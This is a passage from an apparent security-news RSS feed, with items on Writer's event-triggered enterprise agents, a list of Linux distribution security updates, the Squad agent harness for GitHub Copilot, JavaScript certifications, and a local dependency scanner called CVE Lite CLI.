Lakera. The event-based triggers now extend that governance framework to cover actions initiated without any human in the loop — a meaningfully harder problem.</p><h2><b>Writer takes aim at AWS, Salesforce, and Microsoft in the escalating agentic platform wars</b></h2><p>The timing of Writer's announcement is not accidental. The enterprise agentic AI market has entered a period of intense platform competition, with the largest technology companies in the world staking claims to the same territory Writer occupies.</p><p>Jwo acknowledged the pressure directly when asked why a CIO would choose Writer over established vendor relationships with AWS, Salesforce, or Microsoft — all of which have announced agentic platforms of their own.</p><p>"At the baseline, I think we have all the pieces to be fully enterprise-grade and ready," Jwo said. But she argued that Writer's real advantage lies in accessibility for non-technical users. "A lot of the challenge has been: how do we get business users to actually be able to build these powerful workflows in a way that maybe a technical user, using coding agents, can do very quickly and well, but the typical business user is not accustomed to anything beyond typical prompting to actually create?"</p><p>That positioning — enterprise-grade capabilities wrapped in a business-user-friendly interface — has been Writer's core differentiation since the company's founding in 2020. It is also the reason Writer has attracted strategic investment from <a href="https://salesforceventures.com/">Salesforce Ventures</a> and <a href="https://www.adobe.com/ventures.html">Adobe Ventures</a>, both of which are building their own AI platforms but apparently see value in Writer's approach to the business-user segment.</p><p>The company's March 2026 release of <a href="https://writer.com/blog/writer-skills-team-expertise/">Skills</a> — reusable building blocks that encode a team's specific methodologies, quality standards, and decision frameworks into the Agent platform — reinforced this direction. Skills allow marketing teams, for instance, to capture exactly how their best strategist structures competitive analysis or formats campaign briefs, then make that expertise available to every team member and every playbook across the organization. Combined with event-based triggers, the result is a system where institutional knowledge executes automatically in response to real-world business events.</p><p>Writer's 2026 AI adoption survey, conducted with Workplace Intelligence and covering 2,400 global executives, found that 79% of enterprises face AI adoption challenges despite high investment — and that organizations with strong change management programs are six times more likely to reach production. Writer CMO Diego Lomanto has argued that the real barrier to AI adoption is not technology but trust, writing that "they treat resistance as a training problem when it's actually a trust problem." The governance-heavy approach to event-based triggers appears designed to address exactly that dynamic.</p><h2><b>Salesforce, SAP, and Workday triggers are next as Writer expands its connector roadmap</b></h2><p>Writer's initial event trigger support covers <a href="https://www.google.com/gmail">Gmail</a>, <a href="https://www.gong.io/">Gong</a>, <a href="https://calendar.google.com/">Google Calendar</a>, <a href="http://drive.google.com/">Google Drive</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration">SharePoint</a>, and <a href="https://slack.com/">Slack</a> — tools that Jwo described as "generally the most applicable to every end user." But the company has its eye on deeper enterprise system integration.</p><p>When asked about CRM and ERP triggers for systems like <a href="https://www.salesforce.com/">Salesforce</a>, <a href="https://www.sap.com/index.html">SAP</a>, and <a href="https://www.workday.com/en-us/homepage.html">Workday</a>, Jwo confirmed these are within the scope of the roadmap. "You can imagine, you know, a Salesforce opportunity is created that may trigger a cascade of events that happens," she said. "You might want to set up the right assets, maybe the right customer environment, all sorts of things can kind of cascade from that."</p><p>The connector ecosystem has been a strategic priority since Writer launched its MCP (Model Context Protocol) gateway in November 2025, providing governed agent access across enterprise systems including Microsoft 365, Google Workspace, HubSpot, Gong, PitchBook, FactSet, and others. The addition of Adobe Experience Manager in this release gives marketing teams direct read/write access to pages, fragments, and digital assets in Adobe's content management system — a connector that closes the gap between AI-generated content and published output.</p><p>Jwo clarified that in most integration scenarios, Writer Agent delivers content in a draft state rather than publishing it directly. "Writer Agent basically accomplishes the majority of the workload — pulling together the assets, making the changes and presenting — and then hopefully a person just has to go through the last three or so final steps to get it out," she said.</p><h2><b>The real question enterprise AI must answer: how much autonomy is too much autonomy</b></h2><p>The degree of autonomy enterprises are comfortable granting their AI agents remains one of the most consequential open questions in the industry. Jwo acknowledged that most customers still maintain human checkpoints in their workflows.</p><p>"You can also build in instructions into our playbooks to say, 'Hey, before you move on to a next playbook, make sure that you check with me. I want to take a look, and then if I hit go, then you're good to go,'" she said. The agent can also be designed with self-QA capabilities, validating outputs against known pitfalls before proceeding.</p><p>Writer plans to expand these checkpoint capabilities in the coming quarter, adding the ability to specify not just that a checkpoint is required but which specific person must respond and what types of responses are expected — essentially building a formal approval workflow into the autonomous trigger chain.</p><p>Jwo characterized the current system as a hybrid: the platform listens deterministically for predefined events, but the agent applies reasoning to decide what action to take — or whether to act at all. "The agent has the ability to process what happened, understand the context of it, and understand the intent of what you want to do, so it can make that decision," she said. "You're just saying, like, 'Hey, the goal might be feedback is coming in, and we want to triage that in real time. And some things we might not want to action on, some things we do.' You basically just explain that to the agent."</p><p>She views this release as a stepping stone toward a future where agents are "even more mission-driven, and less governed by even like a set of instructions or roles" — a future where the AI doesn't just respond to triggers but proactively identifies when action is needed based on broader organizational goals.</p><p>For now, Writer is betting that the combination of autonomous triggers, robust governance, and business-user accessibility will be enough to carve out defensible territory in an enterprise AI market where the biggest technology companies in the world are all converging on the same set of capabilities. The company's argument is that having the foundational pieces is not enough — what matters is making those pieces work together in a way that non-technical business users can build, manage, and trust.</p><p>It is, in other words, the same wager Writer has been making since 2020 — that the future of enterprise AI belongs not to the platform with the most powerful model, but to the one that can get an entire organization to actually use it. The difference now is that the agents don't wait to be asked.</p><p>Event-based triggers, new connectors, and enhanced governance controls are available immediately to Writer enterprise customers.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Thursday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (buildah, firefox, gdk-pixbuf2, giflib, grafana, java-1.8.0-openjdk, java-21-openjdk, LibRaw, OpenEXR, PackageKit, pcs, python3.11, python3.12, python3.9, sudo, tigervnc, vim, xorg-x11-server, xorg-x11-server-Xwayland, yggdrasil, and yggdrasil-worker...]]></description>
<link>https://tsecurity.de/de/3477721/linux-tipps/security-updates-for-thursday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3477721/linux-tipps/security-updates-for-thursday/</guid>
<pubDate>Thu, 30 Apr 2026 15:25:31 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (buildah, firefox, gdk-pixbuf2, giflib, grafana, java-1.8.0-openjdk, java-21-openjdk, LibRaw, OpenEXR, PackageKit, pcs, python3.11, python3.12, python3.9, sudo, tigervnc, vim, xorg-x11-server, xorg-x11-server-Xwayland, yggdrasil, and yggdrasil-worker-package-manager), <b>Debian</b> (calibre, firefox-esr, and openjdk-17), <b>Fedora</b> (asterisk, binaryen, buildah, dokuwiki, lemonldap-ng, libexif, libgcrypt, miniupnpd, openvpn, podman, python3.9, rust-rpm-sequoia, skopeo, and xdg-dbus-proxy), <b>Red Hat</b> (buildah, gdk-pixbuf2, and nodejs:20), <b>SUSE</b> (dnsdist, libheif, openCryptoki, polkit, sed, and xen), and <b>Ubuntu</b> (linux-bluefield, python-marshmallow, and roundcube).]]></content:encoded>
</item>
<item>
<title><![CDATA[Harness teams of agentic coders with Squad]]></title>
<description><![CDATA[At Kubecon Europe recently, Linux kernel maintainer Greg Kroah-Hartman said something that surprised me. After more than a year of AI-based pull requests and security reports that were worthless, living up to their nickname of “slop,” suddenly in the last month or so Kroah-Hartman discovered that...]]></description>
<link>https://tsecurity.de/de/3476975/ai-nachrichten/harness-teams-of-agentic-coders-with-squad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3476975/ai-nachrichten/harness-teams-of-agentic-coders-with-squad/</guid>
<pubDate>Thu, 30 Apr 2026 11:17:54 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>At Kubecon Europe recently, Linux kernel maintainer Greg Kroah-Hartman said something that surprised me. After more than a year of AI-based pull requests and security reports that were worthless, living up to their nickname of “slop,” suddenly in the last month or so Kroah-Hartman discovered that those reports had become useful. At the time he didn’t know why, but guessed it was the result of improved tools and a deeper understanding of how to use them.</p>



<p>Since then, of course, <a href="https://www.infoworld.com/article/4151806/leak-reveals-anthropics-mythos-a-powerful-ai-model-aimed-at-cybersecurity-use-cases-2.html?utm=hybrid_search">we’ve learned about Anthropic’s Claude Mythos</a> and seen the resulting scramble across closed-source and open-source projects to patch the significant bugs and issues Mythos has unveiled. The fixes and updates needed by large projects can be managed by their equally large teams, with corporate input as well as volunteers from around the world. But how do smaller projects deal with the rise in reported critical vulnerabilities, when they’re usually run by one or two people, often working in their spare time?</p>



<p>It’s a crisis of developer productivity. We need code that’s fixed and we need it now, but we don’t have enough skilled developers to deliver those fixes in the limited time available.</p>



<h2 class="wp-block-heading">Can agents solve the problem?</h2>



<p>Agent harnesses have become increasingly powerful tools, providing frameworks for orchestrating and managing teams of agents. General purpose tools like <a href="https://www.infoworld.com/article/4153975/understanding-the-risks-of-openclaw.html">OpenClaw</a> have proven to be particularly popular, though they can be expensive to run, with operations using up a substantial number of tokens across models and services. However, like most general purpose AI applications based on <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large language models</a> (LLMs), inaccuracies and hallucinations can affect outputs.</p>



<p>Even so, an approach like this that’s grounded both in a defined methodology and in a significant corpus of data could help us meet the sudden demand for increased developer productivity — using the structured nature of code and APIs as grounding and the combinations of skills that go into building a modern software development team and addressing the various aspects of the software development life cycle. </p>



<p>What’s needed is a way to take advantage of those tools to build on techniques like <a href="https://www.infoworld.com/article/4062524/spec-driven-ai-coding-with-githubs-spec-kit.html" data-type="link" data-id="https://www.infoworld.com/article/4062524/spec-driven-ai-coding-with-githubs-spec-kit.html">spec-driven development</a> and agent harnesses to provide developers with their own team of agents. Soon, agents may provide that force multiplier needed to keep ahead of AI red teams and at the same time help clear out large amount of technical debt.</p>



<h2 class="wp-block-heading">Here comes the Squad</h2>



<p>One interesting example of this approach is <a href="https://github.com/bradygaster/squad" data-type="link" data-id="https://github.com/bradygaster/squad">Squad</a>, an open-source project from <a href="https://www.linkedin.com/in/bradygaster/" data-type="link" data-id="https://www.linkedin.com/in/bradygaster/">Brady Gaster</a>, Principal PM Architect in the CoreAI Apps and Agents team at Microsoft. Squad builds an agent harness around GitHub Copilot, <a href="https://bradygaster.github.io/squad/">orchestrating a team of agents</a> to work on your code with you. Designed to be installed with a single CLI call, Squad creates agents to handle application development: a developer lead, a front-end developer, a back-end developer, and a test engineer. Other roles, like documentation, can also be managed by Squad.</p>



<p>The intent is to replicate the structure of a team building a web application, using natural language inputs to define the task, with the agent harness then coordinating Squad’s agents to build and test the necessary code. Gaster has made some interesting decisions as part of the tool’s architecture, such as requiring a separate agent to fix issues detected by another agent’s tests.</p>



<p>This approach is designed to prevent an agent from looping around the same set of statistically generated outputs. Instead, a new agent offers a new context window and a new set of seeds, allowing it to generate different solutions to the same inputs. Only then will Squad generate a pull request for human review. You the developer are still in the loop, but you’re the senior developer and architect to Squad’s team of junior engineers.</p>



<p>Another interesting architectural decision was to ignore the convention of having agent-to-agent chats as a tool for synchronizing decisions. Experience inside Microsoft has shown this approach to be fragile. As a result, Squad treats agents as a set of asynchronous distributed computing tasks, using external persistent storage to hold details of architectural and other decisions. The shared storage, based on a strict format that can be accessed by different generations of the Squad agents, ensures that decisions can be passed between projects and that context is preserved between sessions.</p>



<p>Having a defined source of context also ensures that when any member of your team clones your application repository, their Squad agents have access to the same “memory” and can start working as soon as the Squad CLI is loaded or launched from <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a> or <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>. It’s an efficient approach that saves time and ensures that everyone on the project and using Squad has the same starting point.</p>



<h2 class="wp-block-heading">Getting started with Squad </h2>



<p>To <a href="https://bradygaster.github.io/squad/docs/get-started/five-minute-start/">get started with Squad</a>, you need to have an up-to-date <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> installation on your development machine, along with a Git repository to store code and the Markdown documents used by Squad to store its context. With those in place, <a href="https://bradygaster.github.io/squad/docs/get-started/installation/">a single call to npm installs the Squad CLI</a>, ready for use.</p>



<p>You set up the Squad environment with its <code>init</code> command. You can run Squad from its CLI or from inside Visual Studio Code and GitHub Copilot, where it’s available as an agent. You can also use Squad from the GitHub Copilot CLI, which gives you an interactive view of how the various Squad agents work.</p>



<p><a href="https://bradygaster.github.io/squad/docs/reference/cli/">Squad’s CLI works well for basic projects</a> but using Squad as part of Copilot also gives access to additional resources, including <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a> (MCP) servers, which can help with more complex application developments as well as providing more useful grounding for specific Squad agents. However, there’s enough flexibility here to fit Squad into your existing toolchain, allowing you to make it part of your workflow, rather than vice versa.</p>



<p><a href="https://bradygaster.github.io/squad/docs/get-started/choosing-your-path/">There is a third way to use Squad</a>: working with the Squad SDK to build your own automation framework around the Squad tooling. Here you’ll use <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> to manage agent creation, as well as writing your own routers and coordination services. The Squad SDK is a powerful tool that can be used as part of more formal development processes, for example integrating into a <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">CI/CD</a> pipeline to help triage a high volume of pull requests. As all three ways of working with Squad use the same back end, they all share the same memories, so will respond to inputs in similar ways.</p>



<h2 class="wp-block-heading">Using Squad to write and fix code</h2>



<p>I used Squad from the Copilot CLI, building a basic Node Express application, with a web front end. What was perhaps most interesting about the process was that the Squad harness allowed its role-based agents to work in parallel: an agent building back-end code to support service APIs could run at the same time as an agent that was building a React-based user interface. The initial squad of agents that Squad generated included an architect as well as front-end and back-end developers.</p>



<p>Squad’s output was, at least in my test applications, clear and easy to understand, ready to be used as the basis for a more complex application. It was delivered quickly, using a test-driven approach to ensure that code performed as intended, with no obvious bugs. By taking a formal approach to software development, Squad can reduce risks and explain its actions to a human user. It can also be used to document the code it delivers, using another specialized agent to deliver documentation.</p>



<p>There’s plenty of human supervision in the process, though there’s also the option of handing over control of repetitive tasks to Squad. After some time, you can build up enough trust that you don’t need to approve every new file or directory. A squad works in the context of your Git repository, but if you want more security you can choose to run your squad inside a dev container, keeping it in an isolated environment.</p>



<h2 class="wp-block-heading">Here comes the artificial junior developer</h2>



<p>We’re still at the very beginning of the process of using AI-based tooling as part of our development workflows, but the available tools are starting to mature very quickly — both as models improve and as we learn how to build the long workflows needed to implement agent-based applications.</p>



<p>Squad’s approach to development mixes well-understood software development methodologies with the team structure necessary to deliver applications. For now, as Squad is alpha code, it’s something to experiment with in limited, well-understood use cases.</p>



<p>But as our understanding of how to use AI-powered development tools grows, it’s easy to see how AI coding might evolve to become something like Squad — a way of harnessing agents to behave like a pocket development team that keeps a human in the loop as development lead to a team of artificial junior developers. And maybe we’ll be able to keep up with Claude Mythos and its descendants.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The best JavaScript certifications for getting hired]]></title>
<description><![CDATA[JavaScript remains one of the most in-demand programming languages for web development—and that’s not likely to change anytime soon. While a JavaScript certification alone may not land anyone a development job, it definitely has its benefits.



“JavaScript isn’t just holding steady, it is still ...]]></description>
<link>https://tsecurity.de/de/3467504/ai-nachrichten/the-best-javascript-certifications-for-getting-hired/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3467504/ai-nachrichten/the-best-javascript-certifications-for-getting-hired/</guid>
<pubDate>Mon, 27 Apr 2026 11:17:52 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> remains one of the most in-demand programming languages for web development—and that’s not likely to change anytime soon. While a JavaScript certification alone may not land anyone a development job, it definitely has its benefits.</p>



<p>“JavaScript isn’t just holding steady, it is still the most in-demand language in the market,” says <a href="https://www.linkedin.com/in/dkroque">Dan Roque</a>, recruitment manager at <a href="https://hruckus.com/">HRUCKUS</a>, a provider of professional and career services.</p>



<p>The <a href="https://survey.stackoverflow.co/2025/">Stack Overflow 2025 Developer Survey</a> of more than 49,000 developers shows that JavaScript remains the most-used programming language, coming in ahead of HTML/CSS, <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">SQL</a>, and <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a>.</p>



<p>“It has held the top spot for over a decade, every single year since the survey began in 2011,” Roque says. JavaScript’s core advantage is its ubiquity, he says. “A developer who knows it well can contribute to front-end interfaces, back-end APIs [application programming interfaces], serverless functions, and automation pipelines without switching languages,” he says.</p>



<p>JavaScript remains foundational because the web still serves as the default app platform, and most JavaScript growth is really the ecosystem expanding, with frameworks, tooling, and TypeScript becoming the common enterprise path, says <a href="https://www.joshgeorge.me/">Josh George</a>, founder of Josh George Consulting, an independent technology strategy consulting firm.</p>



<p>“JavaScript is the universal runtime for user experiences and caters to browsers, Node-based back ends, edge/serverless functions, and cross-platform apps,” George says. “The greatest benefit is a single language family across client and server, plus the added bonus of an enormous package ecosystem and mature tooling.”</p>



<p>The programming language has evolved from being just a browser scripting language into a <a href="https://www.infoworld.com/article/2259033/full-stack-developer-what-it-is-and-how-you-can-become-one.html">full-stack development platform</a>, says <a href="https://www.linkedin.com/in/lucasbotzen/">Lucas Botzen</a>, CEO and human resources manager at careers site <a href="https://rivermate.com/">Rivermate</a>. “From an HR and industry perspective, organizations increasingly prefer technologies that allow teams to build both front-end and back-end systems with the same language,” he says. “That consistency reduces hiring complexity and accelerates development cycles.”</p>



<h2 class="wp-block-heading">JavaScript and AI</h2>



<p>AI-powered coding tools such as <a href="https://www.infoworld.com/article/4136718/claude-code-is-blowing-me-away.html">Claude Code</a> and <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a> can increase productivity related to JavaScript development, Rogue says, with studies showing they can help developers complete JavaScript tasks faster. As a result, many developers plan to use AI in their development process, he says.</p>



<p>“Employers aren’t just looking for developers who know JavaScript. They’re increasingly looking for [developers] who can evaluate and orchestrate AI-generated code within a JavaScript workflow,” Rogue says. AI is reshaping what mid-level and senior JaveScript roles actually look like, he says.</p>



<p>“However, more and more technical testing and final interviews, especially in government-related roles, prohibit the use of AI during the last legs of the process, to ensure the talent actually can code and understand code without AI, and to validate whether they can review and troubleshoot AI-generated code on their own,” Rogue says.</p>



<p>AI helps most with the “surface area” work, “meaning scaffolding components, generating tests, suggesting refactors, and explaining unfamiliar code paths,” George says. “The bigger shift though is that teams expect developers to spend less time typing boilerplate and more time making judgment calls like with API design, performance budgets, security, and maintainable architectures.”</p>



<h2 class="wp-block-heading">JavaScript certs and the hiring process</h2>



<p>Okay, so JavaScript is still a highly important piece of the development ecosystem. But is having a JavaScript certification necessary today? “It depends on context, but the answer I’d give is ‘yesn’t,’” Rogue says. “It is increasingly important, especially in structured hiring environments, because it provides a credibility anchor that résumés alone often can’t. But it doesn’t replace actual demonstrated skill.”</p>



<p>There isn’t really a widely accepted global authority or standard on issuing JaveScript certifications, Rogue says, “so it’s much lower on the totem pole of validity when it comes to skill-signaling. Still, for client-facing or compliance-driven roles, certifications provide third-party validation that reduces perceived risk when a client is approving a candidate.”</p>



<p>For back-end and full-stack roles, performance-based credentials that require solving real coding problems in a timed, proctored environment remain the gold standard, Rogue says. “Employers have simply grown skeptical of multiple-choice tests.”</p>



<p>In most hiring decisions, “a JavaScript certification is not the primary signal of competence,” says <a href="https://www.linkedin.com/in/jacob-strauss-699546196/">Jacob Strauss</a>, CTO at <a href="https://www.meetchase.ai/">ChaseLabs</a>, a provider of AI-based sales development tools. “They tend to help more as evidence of structured study than as a decisive hiring credential.” </p>



<p>In practice, the strongest way to stand out is to pair any certification with a small, real project. “JavaScript changes continuously, and what matters in production is the ability to build, debug, and operate real systems,” Strauss says. “That said, certifications can be useful in specific scenarios: early-career candidates, career switchers who need a credible baseline, or organizations trying to standardize <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> skills across a team. In those cases, a cert can reduce uncertainty, but it works best as supporting evidence alongside shipped work.”</p>



<p>A JavaScript certification can serve as a screening mechanism or tie-break factor. “In high-volume pipelines, a cert may help a résumé survive the first pass, especially when applicants have limited professional history,” Strauss says. “For roles that involve running Node services in production, a certification can signal familiarity with asynchronous patterns, HTTP fundamentals, debugging, and service reliability concerns.”</p>



<p>Even then, however, strong portfolios tend to outweigh credentials, Strauss says. A clean repository with typed code, sensible architecture, tests, and clear commit history is a far more predictive indicator than a generic certificate,” he says.</p>



<p>Certifications can be influential in high-volume hiring, where recruiters need fast signals, or in regulated and enterprise contexts that prefer standardized training, George says. “It can also help when teams need specific competency areas, such as modern framework fundamentals, testing practices, secure coding basics, etc., and want a consistent baseline,” he says.</p>



<h2 class="wp-block-heading">In-demand JavaScript certifications</h2>



<p><a href="https://ciwcertified.com/product/ciw-javascript-specialist/">CIW JavaScript Specialist</a>. This certification covers core JavaScript topics such as functions, variables, Document Object Model (DOM) manipulation, form validation, event handling, AJAX/JSON asynchronous communication, and <a href="https://www.infoworld.com/article/2335255/what-is-object-oriented-programming-the-everyday-programming-style.html">object-oriented programming</a>. Candidates learn how to tackle complex scripting scenarios and debug code, according to Certification Partners, which owns and manages CIW certifications. The CIW JavaScript Specialist certification equips candidates with practical skills to build dynamic, interactive, and user-friendly websites using JavaScript, says Certification Partners.</p>



<p><a href="https://www.freecodecamp.org/learn/javascript-algorithms-and-data-structures/">JavaScript Algorithms and Data Structures</a>. Administered by FreeCodeCamp, this is considered an ideal certification for JavaScript beginners. Candidates will learn the JavaScript fundamentals such as variables, arrays, objects, loops, functions, DOM, and more. They’ll also learn about object-oriented programming, functional programming, and algorithmic thinking.</p>



<p><a href="https://www.w3schools.com/js/js_exam.asp">JavaScript Developer Certificate</a>. This certification validates proficiency in JavaScript programming, HTML DOM manipulation, and web development fundamentals. Before applying for the exam, candidates need to have a fundamental knowledge of JavaScript and HTML DOM, according to W3Schools, which offers the certification. The certification tests ability to manipulate HTML DOM and validates proficiency in dynamic website development.</p>



<p><a href="https://jsinstitute.org/jsa-certification">JSA—Certified Associate JavaScript Programmer</a>. This certification from the JS Institute, which is managed by OpenEDG, demonstrates a candidate’s proficiency in object-oriented analysis, design, and programming and the more advanced use of functions in the JavaScript language, according to the institute. Becoming JSA-certified ensures that individuals are acquainted with how JavaScript enables them to design, develop, deploy, refactor, and maintain JavaScript programs and applications.</p>



<p><a href="https://jsinstitute.org/jse-certification">JSE—Certified Entry-Level JavaScript Programmer</a>. Also available from the JS Institute, this certification demonstrates a candidate’s understanding of the JavaScript core syntax and semantics, as well as their proficiency in using the most essential elements of the language, tools, and resources to design, develop, and refactor simple JavaScript programs. Becoming JSE-certified ensures that individuals are acquainted with the most essential means provided by the core JavaScript language, so they can work toward the intermediate level, the institute says.</p>



<p><a href="https://mimo.org/certifications/javascript-certification">Mimo JavaScript Certification</a>. This certification verifies a candidate’s ability to build interactive features, manage data, and understand the logic that powers modern front-end and full-stack development, according to Mimo. It shows mastery of variables, functions, loops, conditionals, arrays, objects, and ES6 features, and provides hands-on experience solving coding challenges. Participants work through practical projects such as dynamic web pages, forms, and interactive user interface components.</p>



<p><a href="https://www.udemy.com/course/openjs-nodejs-application-developer-jsnad-practice-exams/">OpenJS Node.js Application Developer (JSNAD)</a>. Created by the OpenJS Foundation, but <a href="https://training.linuxfoundation.org/jsnad-cert-inactive/">retired in September 2025</a>, the JSNAD certification demonstrates the ability to manage Node.js core modules, implement technical asynchronous logic, handle technical streams and buffers, and configure technical security protocols. Candidates were tested on solving complex back-end development problems and implementing scalable server-side applications in real world scenarios, according to Udemy, which still offers classes and practice exams related to JSNAD certification. The program explores the technical aspects of buffers, streams, and file system operations within the Node.js runtime, Udemy says.</p>



<p><a href="https://certificates.dev/javascript#certificates">Senior JavaScript Developer</a>. Offered by Certificates.dev, the Senior JavaScript Developer certification validates mastery in JavaScript, including prototypes, inheritance, and performance optimization techniques, according to Certificates.dev. It demonstrates proficiency in advanced asynchronous programming, testing, and security vulnerability mitigation. It’s designed for experienced developers aiming for technical leadership roles.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Is your Node.js project really secure?]]></title>
<description><![CDATA[JavaScript and Node.js teams do not lack security tools. What they still lack is a dependency security workflow that developers will actually use before release.



That is the real gap. A package gets installed, CI (continuous integration) runs, a scanner executes somewhere in the pipeline, and ...]]></description>
<link>https://tsecurity.de/de/3457397/ai-nachrichten/is-your-nodejs-project-really-secure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3457397/ai-nachrichten/is-your-nodejs-project-really-secure/</guid>
<pubDate>Thu, 23 Apr 2026 11:02:55 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> and <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> teams do not lack security tools. What they still lack is a dependency security workflow that developers will actually use before release.</p>



<p>That is the real gap. A package gets installed, CI (<a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">continuous integration</a>) runs, a scanner executes somewhere in the pipeline, and eventually a report appears. From a distance, that can look like maturity. In practice, it often means developers learn about dependency risks too late, too indirectly, and with too little clarity to act while the fix is still easy.</p>



<p>The real problem in JavaScript and Node.js security is no longer detection. It is actionability.</p>



<p>That is why so many teams can say they scan dependencies and still struggle to answer the questions that matter right before release. What exactly is vulnerable? Is it direct or transitive? Is there a fixed version? Can I fix it in my own project, or am I blocked behind an upstream dependency? Which finding deserves attention first?</p>



<p>Those are not edge cases. That is the real work.</p>



<p>In Node.js projects, the problem is easy to hide. A team may manage a reasonable number of direct dependencies while shipping hundreds or thousands of resolved packages through a lockfile. At that point, the challenge is no longer whether a scanner can produce output. Most can. The challenge is whether the result is understandable enough, local enough, and actionable enough to help a developer make a release decision before the issue turns into pipeline noise or last-minute triage.</p>



<p>That is where many workflows still fail. Detection exists. Usability often does not. Node.js teams do not have a scanner shortage. They have a workflow shortage.</p>



<p>What is missing is a fixability-first view of dependency security. Teams do not just need to know that something is vulnerable. They need to know what is directly actionable now, what is buried in transitive dependencies, and what kind of remediation path they are actually dealing with.</p>



<h2 class="wp-block-heading">What CVE Lite CLI does differently</h2>



<p>This is the problem I have been exploring through <a href="https://github.com/sonukapoor/cve-lite-cli">CVE Lite CLI</a>, an open source tool built around the local dependency workflow JavaScript developers actually need.</p>



<p>CVE Lite CLI is not trying to win the platform race. It is trying to solve the moment where a developer needs a clear answer before release.</p>



<p>Its scope is intentionally narrow. It does not try to do exploitability analysis, runtime reachability, container scanning, secret scanning, or infrastructure scanning. It focuses on a more practical job: scanning JavaScript and TypeScript projects locally from their lockfiles, identifying known <a href="https://osv.dev/">OSV</a>-backed dependency issues, separating direct from transitive findings, showing dependency paths, surfacing fixed-version guidance, and producing output a developer can actually use before release.</p>



<p>That narrower scope is not a weakness. It is the reason the tool is useful.</p>



<p>Too much security tooling is built around organizational visibility. The CVE Lite CLI workflow is built around developer decision-making. Its value is not simply that it tells you vulnerabilities exist. Its value is that it makes dependency risk understandable early enough to change developer behavior.</p>



<p>That distinction matters. A warning that arrives late in CI may be technically correct, but operationally weak. A warning that appears locally, with direct versus transitive separation and dependency paths, is much closer to a plan for a fix.</p>



<p>This is the gap CVE Lite CLI aims to address. It moves dependency security closer to the point where engineering decisions are actually made.</p>



<p>Recent work on CVE Lite CLI pushes that workflow further by surfacing the exact package command for direct fixes where available. That makes the tool more useful at the moment developers move from detection to action.</p>



<p>In the stronger cases, providing the package command turns the tool from a scanner into a local remediation loop: scan, apply the suggested package change, and rescan immediately without waiting for branch-and-pipeline feedback.</p>



<p>That shift is bigger than convenience. It changes the feel of dependency security from a distant report into an active engineering loop. It lets the developer stay in the same working session, make a change, verify the result, and keep moving.</p>



<h2 class="wp-block-heading">Local-first vulnerability scanning with CVE Lite CLI</h2>



<p>In April 2026, I ran CVE Lite CLI against three public open source projects: <a href="https://github.com/nestjs/nest">Nest</a>, <a href="https://github.com/pnpm/pnpm">pnpm</a>, and <a href="https://github.com/release-it/release-it">release-it</a>. The goal was not to single out those projects. Well-maintained projects can still surface dependency issues, and scan results can change over time. The point was to test whether a local-first tool could give developers something concrete enough to shape action.</p>



